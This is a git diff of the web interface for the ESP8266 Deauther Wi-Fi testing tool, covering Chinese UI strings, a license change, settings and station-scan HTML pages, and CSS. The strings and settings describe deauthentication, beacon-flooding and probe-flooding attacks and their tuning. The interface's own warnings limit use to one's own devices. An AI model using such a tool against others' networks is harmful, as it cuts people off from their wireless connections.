"response error editNameList.json":"editNameList.json响应错误",
|
||||
"response error deleteName.json":"deleteName.json响应错误",
|
||||
"response error addClientFromList.json":"addClientFromList.json响应错误"
|
||||
},
|
||||
"navStrings": {
|
||||
"APs":"接入点",
|
||||
"Stations":"无线终端",
|
||||
"Attacks":"攻击",
|
||||
"Settings":"设置",
|
||||
"Info":"信息"
|
||||
},
|
||||
"pageStrings": {
|
||||
"apscan": {
|
||||
|
||||
"h1":"扫描Wi-Fi接入点",
|
||||
"a1":"扫描中。。。",
|
||||
"button1":"扫描",
|
||||
"p1":"找到的网络:",
|
||||
"p2":"MAC地址:",
|
||||
"button2":"全不选",
|
||||
"button3":"全选",
|
||||
"p3":"信息:",
|
||||
"p4":"您可能需要重新连接并刷新页面才能看到结果。"
|
||||
},
|
||||
"attack": {
|
||||
"h1":"攻击",
|
||||
"p1":"选择的接入点:",
|
||||
"button1":"克隆",
|
||||
"p2":"选择的无线终端",
|
||||
"button2":"开启 Random",
|
||||
"p3":"信息:",
|
||||
"p4":"您可能在开启攻击后丢失与本设备的连接。",
|
||||
"p5":"可以将信道设置为与选择的接入点一致以避免这种情况。",
|
||||
"label1":"SSID",
|
||||
"placeholder1":"SSID",
|
||||
"label2":"克隆数量",
|
||||
"label3":"已加密",
|
||||
"button3":"添加",
|
||||
"p6":"SSIDs:",
|
||||
"button4":"清除",
|
||||
"button5":"随机",
|
||||
"button6":"重置",
|
||||
"button7":"保存",
|
||||
"p7":"已保存",
|
||||
"p8":"Deauth [deauthentication attack]:",
|
||||
"p9":"不断向所选择的站点和接入点发送去认证和关联帧以阻止其他设备的连接。",
|
||||
"pa":"Beacon [beacon flooding]:",
|
||||
"pb":"不断地广播在下面的列表中所有的SSID",
|
||||
"pc":"Probe-Request [probe request flooding]:",
|
||||
"pd":"不间断地播放下面的列表中所有的SSID的探测请求帧."
|
||||
},
|
||||
"error": {
|
||||
"h1":"错误 404",
|
||||
"p1":"页面找不到了 ¯\\_(ツ)_/¯"
|
||||
},
|
||||
"index": {
|
||||
"h1":"警告",
|
||||
"p1":"该软件用于测试802.11标准中的常见漏洞。",
|
||||
"p2":"使用前请知悉您所在国家/地区的法律。",
|
||||
"p3":"您仅可在您自己的网络和设备上使用!",
|
||||
"p4":"您需要对使用此软件所做的一切负责。",
|
||||
"p5":"本设备将记录对任何网络或设备的每次攻击。",
|
||||
"p6":"请不要把这个项目称为“干扰器”,它不会阻塞任何频率! ",
|
||||
"p7":"转到",
|
||||
"p8":"查看更多信息。",
|
||||
"p9":"我已阅读并理解上述警告。"
|
||||
},
|
||||
"info": {
|
||||
"h1":"信息",
|
||||
"h2":"ESP8266 Deauther",
|
||||
"p1":"这个项目基于MIT许可,详见",
|
||||
"a1":"许可文件",
|
||||
"p2":"。",
|
||||
"p3":"查看源文件",
|
||||
"a2":"GitHub",
|
||||
"p4":"此程序仅用于针对您自己的设备的测试或教育目的!",
|
||||
"p5":"请不要把这个项目称为“干扰器”,它不会阻塞任何频率!",
|
||||
"p6":"MAC地址列表基于Wireshark数据库.",
|
||||
"p7":"Wireshark基于GNU(GNU General Public License version 2)发布",
|
||||
"p8":"联系我们",
|
||||
"p9":"如果您愿意帮助我们, 您可以考虑资助我们:",
|
||||
"pa":"或者从DSTIKE购买这个项目的官方硬件:"
|
||||
},
|
||||
"settings": {
|
||||
"locale":"语言切换",
|
||||
"english":"English",
|
||||
"french":"French",
|
||||
"german":"German",
|
||||
"spanish":"Spanish",
|
||||
"italian":"Italian",
|
||||
"klingon":"Klingon",
|
||||
"chinese":"简体中文",
|
||||
"h1":"设置",
|
||||
"h2":"Wi-Fi",
|
||||
"label01":"SSID",
|
||||
"label02":"密码",
|
||||
"label03":"至少8个字符",
|
||||
"label04":"隐藏SSID",
|
||||
"label05":"谨慎选择此项!",
|
||||
"label06":"信道",
|
||||
"label07":"MAC",
|
||||
"label08":"随机MAC",
|
||||
"h3":"接入点扫描",
|
||||
"label09":"扫描隐藏的接入点",
|
||||
"label10":"选择多个SSID",
|
||||
"h4":"无线终端扫描",
|
||||
"label11":"默认扫描时间",
|
||||
"h5":"攻击",
|
||||
"label12":"超时设置 (0 = 不设置超时)",
|
||||
"label13":"使用指示灯",
|
||||
"label14":"指示灯针脚(Pin)",
|
||||
"label15":"Beacon攻击间隔1秒 (default: 100ms)",
|
||||
"label16":"Deauth 错误码",
|
||||
"label17":"包速率",
|
||||
"label18":"可能导致不稳定!",
|
||||
"label19":"启用并发攻击",
|
||||
"label20":"MAC更换间隔 (仅用于 beacons & probes)",
|
||||
"label21":"信道跳跃",
|
||||
"button1":"重置",
|
||||
"button2":"重新启动",
|
||||
"button3":"保存"
|
||||
},
|
||||
"stations": {
|
||||
"h1":"扫描Wi-Fi无限终端",
|
||||
"label1":"扫描时间:",
|
||||
"button1":"开始",
|
||||
"a1":"扫描中。。。",
|
||||
"p1":"开始扫描后可能丢失与本设备的连接,您可能需要重新进行连接并重新刷新页面。",
|
||||
"p2":"找到的终端: ",
|
||||
"button2":"全不选",
|
||||
"button3":"全选",
|
||||
"p3":"保存的终端:",
|
||||
"button4":"清除",
|
||||
"p4":"添加终端:",
|
||||
"label2":"MAC",
|
||||
"placeholder1":"AA:BB:CC:DD:EE:FF",
|
||||
"label3":"名称",
|
||||
"placeholder2":"示例名称",
|
||||
"button5":"添加"
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,7 +1,6 @@
|
|||
The MIT License (MIT)
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2016 by Daniel Eichhorn
|
||||
Copyright (c) 2016 by Fabrice Weinberg
|
||||
Copyright (c) 2017 Stefan Kremser
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
@ -13,12 +12,12 @@ furnished to do so, subject to the following conditions:
|
|||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
Do not redistribute, advertising or sell of this softwae as "jammer"!
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
See more at http://blog.squix.ch
|
||||
SOFTWARE.
|
|
@ -0,0 +1,263 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="theme-color" content="#36393E" />
|
||||
<title>ESP8266 Deauther</title>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
<script src="js/functions.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">{APs}</a>
|
||||
<a href="stations.html">{Stations}</a>
|
||||
<a href="attack.html">{Attacks}</a>
|
||||
<a href="settings.html">{Settings}</a>
|
||||
<a class="right" href="info.html">{Info}</a>
|
||||
</nav>
|
||||
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
|
||||
<div id="error" class="hide"></div>
|
||||
|
||||
<h1 class="header">{h1}</h1>
|
||||
<h2>{locale}</h2>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<span class="flag" data-lang="en">{english}</span>
|
||||
|
||||
<span class="flag" data-lang="fr">{french}</span>
|
||||
|
||||
<span class="flag" data-lang="zh-CN">{chinese}</span>
|
||||
<!--
|
||||
<span class="flag" data-lang="de">{german}</span>
|
||||
<span class="flag" data-lang="es">{spanish}</span>
|
||||
<span class="flag" data-lang="it">{italian}</span>
|
||||
<span class="flag" data-lang="kl">{klingon}</span>
|
||||
-->
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h2>{h2}</h2>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="ssid" class="labelFix">{label01}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="text" id="ssid" minlength="1" maxlength="32">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="password" class="labelFix">{label02} (<span class="red">{label03}</span>)</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="text" id="password" minlength="8" maxlength="32">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="ssidHidden">{label04} (<span class="red">{label05}</span>)</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" name="ssidHidden" id="ssidHidden" value="false">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="apChannel" class="labelFix">{label06}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="apChannel" min="1" max="14">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="apChannel" class="labelFix">{label07}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="text" id="macAp" min="1" max="14">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="randMacAp" class="labelFix">{label08}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" name="randMacAp" id="randMacAp" value="false">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h2>{h3}</h2>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="apScanHidden">{label09}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" name="apScanHidden" id="apScanHidden" value="false">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="multiAPs">{label10}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" name="multiAPs" id="multiAPs" value="false">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h2>{h4}</h2>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="scanTime" class="labelFix">{label11}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="scanTime" min="1" max="255"> s
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h2>{h5}</h2>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="timeout" class="labelFix">{label12}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="timeout" min="-1" max="65536"> s
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="useLed">{label13}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" id="useLed" value="false">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="ledPin" class="labelFix">{label14}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="ledPin" min="0" max="18">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="beaconInterval">{label15}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" id="beaconInterval" value="false">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="deauthReason" class="labelFix">{label16}e</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="deauthReason" min="1" max="45">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="packetRate" class="labelFix">{label17} (<span class="red">{label18}</span>)</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="packetRate" min="1" max="50"> pkts/s
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="multiAttacks">{label19}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" id="multiAttacks" value="false">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="macInterval" class="labelFix">{label20}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="macInterval" min="0" max="65000">s
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!--
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="channelHop">{label21}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" name="channelHop" id="channelHop" value="false">
|
||||
</div>
|
||||
</div>
|
||||
-->
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<br />
|
||||
<button class="red" onclick="resetSettings()">reset</button>
|
||||
<button class="red" onclick="restart()">restart</button>
|
||||
<button class="button-primary right" onclick="saveSettings()">save</button>
|
||||
<br class="clear" />
|
||||
<p id="saved"></p>
|
||||
<br class="clear" />
|
||||
|
||||
<div id="copyright">
|
||||
Version 1.6<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="js/l10n.js" async defer></script>
|
||||
<script data-src="js/settings.js"></script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,91 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="theme-color" content="#36393E" />
|
||||
<title>ESP8266 Deauther</title>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
<script src="js/functions.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">{APs}</a>
|
||||
<a href="stations.html">{Stations}</a>
|
||||
<a href="attack.html">{Attacks}</a>
|
||||
<a href="settings.html">{Settings}</a>
|
||||
<a class="right" href="info.html">{Info}</a>
|
||||
</nav>
|
||||
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
|
||||
<div id="error" class="hide"></div>
|
||||
|
||||
<h1 class="header">{h1}</h1>
|
||||
|
||||
<label>{label1}
|
||||
<input type="number" id="scanTime" value="10">s
|
||||
</label>
|
||||
|
||||
<button onclick="scan()" id="startScan" class="right button-primary">{button1}</button>
|
||||
|
||||
<a id="clientScanStatus"><br />{a1}</a>
|
||||
|
||||
<p class="red">{p1}</p>
|
||||
|
||||
<p>
|
||||
{p2} <span id="clientsFound">0</span><br />
|
||||
<br />
|
||||
<button class="marginNull button-primary left" onclick="select(-2)">{button2}</button>
|
||||
<button class="marginNull button-primary right" onclick="select(-1)">{button3}</button><br />
|
||||
</p>
|
||||
|
||||
<table></table>
|
||||
|
||||
<p class="block bold" >
|
||||
{p3} <span id="clientNames"></span>
|
||||
</p>
|
||||
|
||||
<table id="nameList"></table>
|
||||
|
||||
<button class="red left" onclick="clearNameList()">{button4}</button>
|
||||
|
||||
<p>
|
||||
<br class="clear" />
|
||||
<br />
|
||||
{p4}
|
||||
</p>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-4">
|
||||
<label>{label2} <input type="text" placeholder="{placeholder1}" id="cMac" /></label>
|
||||
</div>
|
||||
<div class="col-4">
|
||||
<label>{label3} <input type="text" placeholder="{placeholder2}" id="cName" /></label>
|
||||
</div>
|
||||
<div class="col-4">
|
||||
<button class="button-primary" style="width: 100%" onclick="addClient()">{button5}</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<div id="copyright">
|
||||
Version 1.6<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="js/l10n.js" async defer></script>
|
||||
<script data-src="js/stations.js"></script>
|
||||
</body>
|
||||
</html>
|
|
@ -1,405 +1,337 @@
|
|||
/* Global */
|
||||
body {
|
||||
background: #36393e;
|
||||
color: #bfbfbf;
|
||||
font-family: sans-serif;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 1.7rem;
|
||||
margin-top: 1rem;
|
||||
background: #2f3136;
|
||||
color: #bfbfbb;
|
||||
padding: 0.2em 1em;
|
||||
border-radius: 3px;
|
||||
border-left: solid #4974a9 5px;
|
||||
font-weight: 100;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 1.1rem;
|
||||
margin-top: 1rem;
|
||||
background: #2f3136;
|
||||
color: #bfbfbb;
|
||||
padding: 0.4em 1.8em;
|
||||
border-radius: 3px;
|
||||
border-left: solid #4974a9 5px;
|
||||
font-weight: 100;
|
||||
}
|
||||
|
||||
table{
|
||||
border-collapse: collapse;
|
||||
}
|
||||
|
||||
label{
|
||||
line-height: 46px;
|
||||
}
|
||||
|
||||
input{
|
||||
line-height: 46px;
|
||||
}
|
||||
|
||||
.left {
|
||||
float: left;
|
||||
}
|
||||
.right {
|
||||
float: right;
|
||||
}
|
||||
.bold {
|
||||
font-weight: bold;
|
||||
}
|
||||
.red{
|
||||
color: #F04747;
|
||||
}
|
||||
.green{
|
||||
color:#43B581;
|
||||
}
|
||||
.clear {
|
||||
clear: both;
|
||||
}
|
||||
.centered{
|
||||
text-align: center;
|
||||
}
|
||||
.select{
|
||||
width: 98px !important;
|
||||
padding: 0 !important;
|
||||
}
|
||||
.selected{
|
||||
background: #4974a9;
|
||||
}
|
||||
.status{
|
||||
width: 120px;
|
||||
padding-left: 8px;
|
||||
}
|
||||
.labelFix {
|
||||
line-height: 40px;
|
||||
}
|
||||
.clickable{
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
#error {
|
||||
text-align: center;
|
||||
color: #fff;
|
||||
background: #af3535;
|
||||
border-radius: 5px;
|
||||
padding: 10px;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
#closeError{
|
||||
float: right;
|
||||
color: #fff;
|
||||
padding: 0px 10px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
#copyright{
|
||||
font-size: 0.95em;
|
||||
text-align: center;
|
||||
margin-top: 3em;
|
||||
margin-bottom: 3em;
|
||||
}
|
||||
|
||||
/* CHECKBOX */
|
||||
/* Customize the label (the container) */
|
||||
.checkBoxContainer {
|
||||
display: block;
|
||||
position: relative;
|
||||
padding-left: 35px;
|
||||
margin-bottom: 12px;
|
||||
cursor: pointer;
|
||||
font-size: 22px;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
height: 32px;
|
||||
width: 32px;
|
||||
}
|
||||
|
||||
/* Hide the browser's default checkbox */
|
||||
.checkBoxContainer input {
|
||||
position: absolute;
|
||||
opacity: 0;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/* Create a custom checkbox */
|
||||
.checkmark {
|
||||
position: absolute;
|
||||
top: 8px;
|
||||
left: 0;
|
||||
height: 28px;
|
||||
width: 28px;
|
||||
background-color: #2F3136;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
/* When the checkbox is checked, add a blue background */
|
||||
.checkBoxContainer input:checked ~ .checkmark {
|
||||
background-color: #4974A9;
|
||||
}
|
||||
|
||||
/* Create the checkmark/indicator (hidden when not checked) */
|
||||
.checkmark:after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Show the checkmark when checked */
|
||||
.checkBoxContainer input:checked ~ .checkmark:after {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/* Style the checkmark/indicator */
|
||||
.checkBoxContainer .checkmark:after {
|
||||
left: 10px;
|
||||
top: 7px;
|
||||
width: 4px;
|
||||
height: 10px;
|
||||
border: solid white;
|
||||
border-width: 0 3px 3px 0;
|
||||
-webkit-transform: rotate(45deg);
|
||||
-ms-transform: rotate(45deg);
|
||||
transform: rotate(45deg);
|
||||
}
|
||||
|
||||
/* ERROR */
|
||||
.hide {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.show {
|
||||
display: block !important;
|
||||
animation-name: fadeIn;
|
||||
animation-duration: 1s;
|
||||
}
|
||||
|
||||
@keyframes fadeIn {
|
||||
0% {opacity: 0;}
|
||||
100% {opacity: 1;}
|
||||
}
|
||||
|
||||
|
||||
hr {
|
||||
background: #3e4146;
|
||||
}
|
||||
|
||||
a {
|
||||
color: #5281bb;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #95b8e4;
|
||||
}
|
||||
|
||||
li{
|
||||
margin: 4px 0;
|
||||
}
|
||||
|
||||
/* Meter */
|
||||
.meter_background{
|
||||
background: #42464D;
|
||||
width: 100%;
|
||||
min-width: 90px;
|
||||
}
|
||||
.meter_forground{
|
||||
color: #fff;
|
||||
padding: 4px 0;
|
||||
/* + one of the colors below
|
||||
(width will be set by the JS) */
|
||||
}
|
||||
.meter_green{
|
||||
background: #43B581;
|
||||
}
|
||||
.meter_orange{
|
||||
background: #FAA61A;
|
||||
}
|
||||
.meter_red{
|
||||
background: #F04747;
|
||||
}
|
||||
.meter_value{
|
||||
padding-left: 8px;
|
||||
}
|
||||
|
||||
|
||||
/* Tables */
|
||||
table {
|
||||
width: 100%;
|
||||
margin-bottom: 50px;
|
||||
}
|
||||
|
||||
th, td {
|
||||
padding: 10px 6px;
|
||||
text-align: left;
|
||||
border-bottom: 1px solid #5d5d5d;
|
||||
}
|
||||
|
||||
|
||||
/* Navigation bar */
|
||||
nav {
|
||||
display: block;
|
||||
padding: 8px 10px;
|
||||
background: #2f3136;
|
||||
}
|
||||
|
||||
nav a {
|
||||
color: #bfbfbf;
|
||||
padding: 0.5em;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
nav a:hover{
|
||||
background: #36393f;
|
||||
color:#cecece;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
/* Inputs and buttons */
|
||||
.upload-script, .button, button, input[type="submit"], input[type="reset"], input[type="button"] {
|
||||
display: inline-block;
|
||||
height: 38px;
|
||||
padding: 0 25px;
|
||||
color:#fff;
|
||||
text-align: center;
|
||||
font-size: 11px;
|
||||
font-weight: 600;
|
||||
line-height: 38px;
|
||||
letter-spacing: .1rem;
|
||||
text-transform: uppercase;
|
||||
text-decoration: none;
|
||||
white-space: nowrap;
|
||||
background: #2f3136;
|
||||
border-radius: 4px;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
button:hover, input[type="submit"]:hover, input[type="reset"]:hover, input[type="button"]:hover {
|
||||
background: #42444a;
|
||||
}
|
||||
|
||||
/* Forms */
|
||||
input[type="email"], input[type="number"], input[type="search"], input[type="text"], input[type="tel"], input[type="url"], input[type="password"], textarea, select {
|
||||
height: 38px;
|
||||
padding: 6px 10px; /* The 6px vertically centers text on FF, ignored by Webkit */
|
||||
background-color: #2f3136;
|
||||
border-radius: 4px;
|
||||
box-shadow: none;
|
||||
box-sizing: border-box;
|
||||
color: #d4d4d4;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.setting {
|
||||
width: 100% !important;
|
||||
max-width: 284px !important;
|
||||
}
|
||||
|
||||
input[type="file"] {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* ==== GRID SYSTEM ==== */
|
||||
.container {
|
||||
width: 100%;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
max-width: 1140px;
|
||||
}
|
||||
|
||||
.row {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.row [class^="col"] {
|
||||
float: left;
|
||||
margin: 0.25rem 2%;
|
||||
min-height: 0.125rem;
|
||||
}
|
||||
|
||||
.col-1,
|
||||
.col-2,
|
||||
.col-3,
|
||||
.col-4,
|
||||
.col-5,
|
||||
.col-6,
|
||||
.col-7,
|
||||
.col-8,
|
||||
.col-9,
|
||||
.col-10,
|
||||
.col-11,
|
||||
.col-12 {
|
||||
width: 96%;
|
||||
}
|
||||
|
||||
.row::after {
|
||||
content: "";
|
||||
display: table;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
.hidden-sm {
|
||||
display: none;
|
||||
}
|
||||
|
||||
@media only screen and (min-width: 45em) {
|
||||
.col-1 {
|
||||
width: 4.33%;
|
||||
}
|
||||
|
||||
.col-2 {
|
||||
width: 12.66%;
|
||||
}
|
||||
|
||||
.col-3 {
|
||||
width: 21%;
|
||||
}
|
||||
|
||||
.col-4 {
|
||||
width: 29.33%;
|
||||
}
|
||||
|
||||
.col-5 {
|
||||
width: 37.66%;
|
||||
}
|
||||
|
||||
.col-6 {
|
||||
width: 46%;
|
||||
}
|
||||
|
||||
.col-7 {
|
||||
width: 54.33%;
|
||||
}
|
||||
|
||||
.col-8 {
|
||||
width: 62.66%;
|
||||
}
|
||||
|
||||
.col-9 {
|
||||
width: 71%;
|
||||
}
|
||||
|
||||
.col-10 {
|
||||
width: 79.33%;
|
||||
}
|
||||
|
||||
.col-11 {
|
||||
width: 87.66%;
|
||||
}
|
||||
|
||||
.col-12 {
|
||||
width: 96%;
|
||||
}
|
||||
|
||||
.hidden-sm {
|
||||
display: block;
|
||||
}
|
||||
/* Global */
|
||||
body {
|
||||
background: #36393e;
|
||||
color: #bfbfbf;
|
||||
font-family: sans-serif;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 1.7rem;
|
||||
margin-top: 1rem;
|
||||
background: #2f3136;
|
||||
color: #bfbfbb;
|
||||
padding: 0.2em 1em;
|
||||
border-radius: 3px;
|
||||
border-left: solid #4974a9 5px;
|
||||
font-weight: 100;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 1.1rem;
|
||||
margin-top: 1rem;
|
||||
background: #2f3136;
|
||||
color: #bfbfbb;
|
||||
padding: 0.4em 1.8em;
|
||||
border-radius: 3px;
|
||||
border-left: solid #4974a9 5px;
|
||||
font-weight: 100;
|
||||
}
|
||||
|
||||
table{
|
||||
border-collapse: collapse;
|
||||
}
|
||||
|
||||
.left {
|
||||
float: left;
|
||||
}
|
||||
.right {
|
||||
float: right;
|
||||
}
|
||||
.bold {
|
||||
font-weight: bold;
|
||||
}
|
||||
.red{
|
||||
color: #F04747;
|
||||
}
|
||||
.green{
|
||||
color:#43B581;
|
||||
}
|
||||
.clear {
|
||||
clear: both;
|
||||
}
|
||||
.centered{
|
||||
text-align: center;
|
||||
}
|
||||
.select{
|
||||
width: 98px !important;
|
||||
padding: 0 !important;
|
||||
}
|
||||
.selected{
|
||||
background: #4974a9;
|
||||
}
|
||||
.status{
|
||||
width: 120px;
|
||||
padding-left: 8px;
|
||||
}
|
||||
.labelFix {
|
||||
line-height: 40px;
|
||||
}
|
||||
|
||||
#error {
|
||||
text-align: center;
|
||||
color: #fff;
|
||||
background: #af3535;
|
||||
border-radius: 5px;
|
||||
padding: 10px;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
#copyright{
|
||||
font-size: 0.95em;
|
||||
text-align: center;
|
||||
margin-top: 3em;
|
||||
margin-bottom: 3em;
|
||||
}
|
||||
|
||||
/* ERROR */
|
||||
|
||||
.hide {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.show {
|
||||
display: block !important;
|
||||
animation-name: fadeIn;
|
||||
animation-duration: 1s;
|
||||
}
|
||||
|
||||
@keyframes fadeIn {
|
||||
0% {opacity: 0;}
|
||||
100% {opacity: 1;}
|
||||
}
|
||||
|
||||
|
||||
hr {
|
||||
background: #3e4146;
|
||||
}
|
||||
|
||||
a {
|
||||
color: #5281bb;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #95b8e4;
|
||||
}
|
||||
|
||||
li{
|
||||
margin: 4px 0;
|
||||
}
|
||||
|
||||
/* language selector */
|
||||
.flag.selected {
|
||||
color: black;
|
||||
}
|
||||
.flag {
|
||||
line-height: 1.5em;
|
||||
padding: 0.2em 0.5em;
|
||||
margin: 0;
|
||||
font-weight: bold;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
|
||||
/* Meter */
|
||||
.meter_background{
|
||||
background: #42464D;
|
||||
width: 100%;
|
||||
min-width: 90px;
|
||||
}
|
||||
.meter_forground{
|
||||
color: #fff;
|
||||
padding: 4px 0;
|
||||
